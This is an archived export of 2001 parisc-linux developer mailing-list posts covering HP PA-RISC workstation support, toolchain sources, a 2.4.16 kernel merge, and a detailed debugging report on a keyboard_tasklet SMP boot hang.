Original-Received: from pogo (dhcp-103.beldar.com [65.163.106.103])
	by beldar.com (8.9.3/8.9.3) with SMTP id TAA16714;
	Mon, 26 Nov 2001 19:26:53 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13221

I know this is kinda cheesey, but kill the dhcp-client process and at least
you won't get these messages anymore.  Long-term find out where in the rc
tree it is started and disable it (I haven't gotten that far yet).


----- Original Message -----
From: Phil Anderson <andersop@bob.ncssm.edu>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, November 26, 2001 1:50 AM
Subject: [parisc-linux] bad local loopback (and 712 X query)


>
> Hi all;
>
> I send this with a dual purpose:
>
> First:
>
> I got my 712/80i running fine off the 0.9.2 ISO (it worked GREAT after I
> tried the 32bit kernel and not the 64bit one :> ) Anyway, It runs pretty
> well. So: has anyone gotten X working on a 712? and would like to share?
>
> Second:
> like I said, it works pretty well...
> ...except for the fact that while I'm using it (or even when it's just at
> a tty login prompt) these errors come up:
>
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
>
>
> 67 and 68 are bootp server and client ports, respectively. How can I get
> rid of these? they prevent the box from being really useful because they
> pop up every minute or so at the current cursor location, which is a major
> detriment to doing, well, anything.
>
> As far as I can tell, these packets are coming from the machine itself,
> and it's attempting to send a broadcast packet over loopback. Perhaps by
> turning off bootp services in /etc/inetd.conf?
>
> thanks for your time,
>
> -phil
>
>
> --
>
============================================================================
===
>
> Phil Anderson
> andersop@neverland.ncssm.edu
> The_13th_Ewok@hotmail.com
>
> "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ftp://parisc-linus.org/cvs - binutils? - glibc?
Date: Tue, 27 Nov 2001 12:08:05 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <01112712080500.01278@Wolf-01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620807 30840 80.91.229.3 (22 Nov 2014 01:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 27 11:09:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (unknown [207.19.136.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32F42482C
	for <parisc-linux@parisc-linux.org>; Tue, 27 Nov 2001 11:09:43 -0700 (MST)
Original-Received: from Wolf-01 (ppp92.cc1.pflash.com [63.121.24.94]) by vopserver.pflashcom
 (Vircom SMTPRS 5.0.194) with SMTP id <B0008390668@vopserver.pflashcom> for <parisc-linux@parisc-linux.org>;
 Tue, 27 Nov 2001 12:04:37 -0600
X-Mailer: KMail [version 1.2]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13222

Hello group,

Could someone please tell me where to go?*

I have checked both /cvs and /src but can not find "glibc" and "binutils" 
snapshots.
Where could I find these?

There have been a number of recent patchs to binutils for hppa.  (Such as: 
http://sources.redhat.com/ml/binutils/2001-11/msg00622.html ) by Alan Modra.
I would like to try keeping a local tree of the hppa version.

Mike
*A rather dangerous question for me to ask.



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ftp://parisc-linus.org/cvs - binutils? - glibc?
Date: Tue, 27 Nov 2001 18:21:13 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20011127182113.D4180@parcelfarce.linux.theplanet.co.uk>
References: <01112712080500.01278@Wolf-01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620807 30848 80.91.229.3 (22 Nov 2014 01:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Michael S . Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 27 11:21:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0B77482C
	for <parisc-linux@parisc-linux.org>; Tue, 27 Nov 2001 11:21:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 168mr3-0007NQ-00; Tue, 27 Nov 2001 18:21:13 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01112712080500.01278@Wolf-01>; from mszick@pflash.com on Tue, Nov 27, 2001 at 12:08:05PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13223

On Tue, Nov 27, 2001 at 12:08:05PM -0600, Michael S . Zick wrote:
> I have checked both /cvs and /src but can not find "glibc" and "binutils" 
> snapshots.
> Where could I find these?

you can't.  we have not maintained glibc & binutils cvs trees for a while.
i suggest the debian packages as your best source of latest bits.

> There have been a number of recent patchs to binutils for hppa.  (Such as: 
> http://sources.redhat.com/ml/binutils/2001-11/msg00622.html ) by Alan Modra.
> I would like to try keeping a local tree of the hppa version.

nobody's going to stop you doing that, though why you wouldn't simply
use the upstream cvs binutils, i don't know.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ftp://parisc-linux.org/cvs - binutils? - glibc?
Date: Tue, 27 Nov 2001 12:33:16 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <01112712331601.01278@Wolf-01>
References: <01112712080500.01278@Wolf-01> <20011127182113.D4180@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620807 30852 80.91.229.3 (22 Nov 2014 01:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 27 16:34:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (unknown [207.19.136.4])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 14F4F482C; Tue, 27 Nov 2001 16:34:43 -0700 (MST)
Original-Received: from Wolf-01 (ppp153.cc1.pflash.com [63.121.24.155]) by vopserver.pflashcom
 (Vircom SMTPRS 5.0.194) with SMTP id <B0008397004@vopserver.pflashcom>;
 Tue, 27 Nov 2001 17:29:37 -0600
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011127182113.D4180@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13224

On Tuesday 27 November 2001 12:21 pm, Matthew Wilcox wrote:
>  we have not maintained glibc & binutils cvs trees for a while.
> i suggest the debian packages as your best source of latest bits.

Thanks.

> why you wouldn't simply
> use the upstream cvs binutils, i don't know.

A misunderstanding on my part.
I thought that since gcc was a special, branch version, glibc and binutils 
were also (still) specials.

Thanks again.

Mike



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Clark <kclark@halfdimension.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Wed, 28 Nov 2001 21:13:14 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20011128211314.0ca6fb98.kclark@halfdimension.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620808 30860 80.91.229.3 (22 Nov 2014 01:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:48 +0000 (UTC)
Cc: Options@dsl2.external.hp.com, for@dsl2.external.hp.com,
	a@dsl2.external.hp.com, 730@dsl2.external.hp.com,
	Machine@dsl2.external.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 28 19:17:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from halfdimension.com (halfdimension.com [216.36.86.238])
	by dsl2.external.hp.com (Postfix) with SMTP id 9D4B0482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Nov 2001 19:17:46 -0700 (MST)
Original-Received: (qmail 1177 invoked from network); 29 Nov 2001 02:13:14 -0000
Original-Received: from unknown (HELO Krynn) (216.36.86.238)
  by 0 with SMTP; 29 Nov 2001 02:13:14 -0000
X-Mailer: Sylpheed version 0.6.4 (GTK+ 1.2.10; i386-redhat-linux)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13225

I just obtained two older HP Workstations.  I am not really familar with these stations.  I was able to get on to boot and give me some info.  It tells me this

9000/730 machine.

I was looking at installing parisc-linux on this machine but I am reading the information correctly this particular machine is not supported.  

Is this still true and if so what options do i have.

Thanks

Kevin



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Clark <kclark@halfdimension.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Options for a 730 machinge (sorry for double post - email server is acting up)
Date: Wed, 28 Nov 2001 21:16:08 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20011128211608.4de42193.kclark@halfdimension.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620808 30861 80.91.229.3 (22 Nov 2014 01:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 28 19:20:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from halfdimension.com (halfdimension.com [216.36.86.238])
	by dsl2.external.hp.com (Postfix) with SMTP id 2DD56482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Nov 2001 19:20:40 -0700 (MST)
Original-Received: (qmail 1348 invoked from network); 29 Nov 2001 02:16:08 -0000
Original-Received: from unknown (HELO Krynn) (216.36.86.238)
  by 0 with SMTP; 29 Nov 2001 02:16:08 -0000
X-Mailer: Sylpheed version 0.6.4 (GTK+ 1.2.10; i386-redhat-linux)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13226

I just obtained two older HP Workstations.  I am not really familar with these stations.  I was able to get on to boot and give me some info.  It tells me this

9000/730 machine.

I was looking at installing parisc-linux on this machine but I am reading the information correctly this particular machine is not supported.  

Is this still true and if so what options do i have.

Thanks

Kevin



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Options for a 730 machinge (sorry for double post - email server is acting up)
Date: Thu, 29 Nov 2001 02:29:52 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20011129022952.E24794@parcelfarce.linux.theplanet.co.uk>
References: <20011128211608.4de42193.kclark@halfdimension.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620808 30863 80.91.229.3 (22 Nov 2014 01:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kevin Clark <kclark@halfdimension.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 28 19:29:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1047482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Nov 2001 19:29:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 169GxU-0004BE-00; Thu, 29 Nov 2001 02:29:52 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011128211608.4de42193.kclark@halfdimension.com>; from kclark@halfdimension.com on Wed, Nov 28, 2001 at 09:16:08PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13227

On Wed, Nov 28, 2001 at 09:16:08PM -0500, Kevin Clark wrote:
> I just obtained two older HP Workstations.  I am not really familar
> with these stations.  I was able to get on to boot and give me some info.
> It tells me this
> 
> 9000/730 machine.
> 
> I was looking at installing parisc-linux on this machine but I
> am reading the information correctly this particular machine is not
> supported.

the problems with the 730 should now mostly be fixed.  there should be an
0.9.3 cd out soon.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.16 merge
Date: Wed, 28 Nov 2001 21:36:18 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <m169Ivq-000OuXC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620809 30866 80.91.229.3 (22 Nov 2014 01:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 28 21:36:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B627482C
	for <parisc-linux@parisc-linux.org>; Wed, 28 Nov 2001 21:36:20 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA22958
	for <parisc-linux@parisc-linux.org>; Wed, 28 Nov 2001 21:36:18 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m169Ivq-000OuXC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Wed, 28 Nov 2001 21:36:18 -0700 (MST) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13228

2.4.16 boots with defconfig kernels, wide and narrow, on c3000.  The
only problem I know about is an inconsequential function I stubbed out
which someone needs to write.

Any reason I shouldn't commit?

	-P



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] keyboard_tasklet bug?
Date: 29 Nov 2001 00:45:26 -0700
Lines: 111
Approved: news@gmane.org
Message-ID: <1007019927.14588.9.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620809 30872 80.91.229.3 (22 Nov 2014 01:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 29 00:45:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43122482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Nov 2001 00:45:29 -0700 (MST)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id E366FBC48
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Nov 2001 00:45:26 -0700 (MST)
X-Mailer: Evolution/0.99.2 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13229

Hello parisc-linux hackers,

I have spent the last couple of evenings exploring new (to me anyways)
parts of the kernel tracking down a SMP hang on my C200+.  What I found
appears to be a more generic bug, so I'm posting it here for ideas on
how to fix it, or for someone to explain to me why this isn't a bug :)



After quite a bit of tracking the problem down, I figured out the kernel
wasn't halting, but was stuck in the following infinate loop from
tasklet_action() in kernel/softirq.c

while (list) {
	struct tasklet_struct *t = list;

	list = list->next;

	if (tasklet_trylock(t)) {
		if (!atomic_read(&t->count)) {
			if (!test_and_clear_bit(TASKLET_STATE_SCHED, 						&t->state))
				BUG();
			t->func(t->data);
			tasklet_unlock(t);
			continue;
		}
		tasklet_unlock(t);
	}

	local_irq_disable();
	t->next = tasklet_vec[cpu].list;
	tasklet_vec[cpu].list = t;
	__cpu_raise_softirq(cpu, TASKLET_SOFTIRQ);
	local_irq_enable();
}

I eventually figured out that the if(!atomic_read(&t->count)) was
failing... and the task would be added back into the list via the
following lines of code:

	t->next = tasklet_vec[cpu].list;
	tasklet_vec[cpu].list = t;

This loop would continue since the atomic_read(&t->count) was always
non-zero, and the task was always being put back on the list.


I figured out that the keyboard_task was the task the atomic_read
was failing on, and started to investigate why.  I figured out that 
the keyboard_tasklet was being initialized disabled via the following
macro from include/linux/interrupt.h:

	#define DECLARE_TASKLET_DISABLED(name, func, data) \
	struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(1), func, data }

This macro initialized the ->count to 1.

I also figurd out that the keyboard_tasklet was being scheduled via the
schedule_tasklet() before the enable_tasklet() was called it.  (The
enable_tasklet() provides a memory barrior, then calls atomic_dec()
on the ->count of the tasklet, making it 0).


This trace shows the path to the first schedule_tasklet() of the
keyboard_tasklet, starting with the start_kernel() since that is the
common point between schedule_tasklet() and enable_tasklet().


schedule_tasklet(keyboard_tasklet)
-------------------------
1. start_kernel()
2. console_init()
3. con_init()
4. vc_init()
5. reset_terminal()
6. set_leds()
7. schedule_tasklet()



enable_tasklet(keyboard_tasklet)
--------------------------------
1. start_kernel()
2. rest_init()
3. init() via kernel_thread.
4. do_base_setup()
5. do_init_calls()
6. chr_dev_init()
7. tty_init()
8. kbd_init()
9. enable_tasklet()


Looking in the start_kernel() ... console_init() is the 9th function
called, where as rest_init() is the last function called.

I am not sure why this only showed up under SMP for my on the C200+, but
it was _very_ reproducable.  As a temporary solution (and to verify I'd
found the problem), I commented out the set_leds() in reset_terminal()
and the C200+ boots both SMP and UP fine.  I know this is not the proper
fix, but I am not sure how to fix this problem, thus my post to the list
:)

Thanks for reading, and any feedback welcome!

- Ryan






From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] keyboard_tasklet bug?
Date: Thu, 29 Nov 2001 12:22:05 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20011129122205.Z13057@linuxcare.com>
References: <1007019927.14588.9.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620809 30875 80.91.229.3 (22 Nov 2014 01:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 29 05:21:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 928D0482C
